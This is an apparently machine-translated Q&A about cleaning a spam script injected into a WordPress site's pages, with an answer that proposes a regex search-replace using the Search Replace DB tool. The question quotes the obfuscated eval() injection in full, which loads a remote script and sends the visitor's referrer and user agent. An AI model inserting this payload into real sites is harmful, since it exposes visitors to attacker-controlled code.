我有一个我正在研究的网站,最近被垃圾邮件注入了。现在一切都很安全,但我的任务是清理每页上放置的脚本的遗骸。我面临的问题是,整个黑客中都使用了特殊字符,并且逃避特殊字符被证明是非常具有挑战性的。
我也在使用“查询”构建器,但即使这样也会感到困惑。
我想删除的代码是:
<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zinsz|var|u0026u|referrer|bhsyf||js|php'.split('|'),0,{}))
正如你所看到的,一旦我开始逃避角色,我就开始迷路了。我想知道是否有人遇到过这种情况并找到了一种更简单的方式。
我已经成功地直接在数据库中手动删除了代码,但不幸的是,大约有1006个位置,它只需要永远。
答案 0 :(得分:0)
不幸的是,使用直接SQL查询修改Wordpress数据库可能会破坏PHP序列化字符串和对象。所以,即使你想出了完美的搜索词,也不要那样做。
相反,你可以试试这个很棒的Search Replace DB工具。确保您遵循所有关于谨慎使用脚本的请求,尤其是:先备份,使用非常神秘的目录名称,并在完成后立即删除该文件夹。还要确保你运行php-mbstring。
Web界面非常好,但根据服务器设置,它可能无法正常工作。但是,还有一个命令行界面。要将cd
用于包含该工具的文件夹中。在README.md
文件中有CLI版本的文档。以下是解决您的案例的命令的基本形状,您需要测试和调整以匹配您的数据库设置:
php srdb.cli.php --host localhost.or.dbserver --name dbnamehere --user dbuserhere --pass 'dbpasswordhere' --search '/\<noindex\>\<script id\=\"wpinfo\-pst1\".*?<\\/noindex>/s' --replace '' --regex --dry-run
我喜欢这个工具的--dry-run
功能,该功能在上面的代码中设置。在完成大量干运行并确信您正在执行您打算执行的操作后,请从命令行中删除该选项(如果您在Web界面中,则取消选中“dry-run”框)并且替换实际上会发生。然后,请记住,删除该工具,以便其他人无法使用它。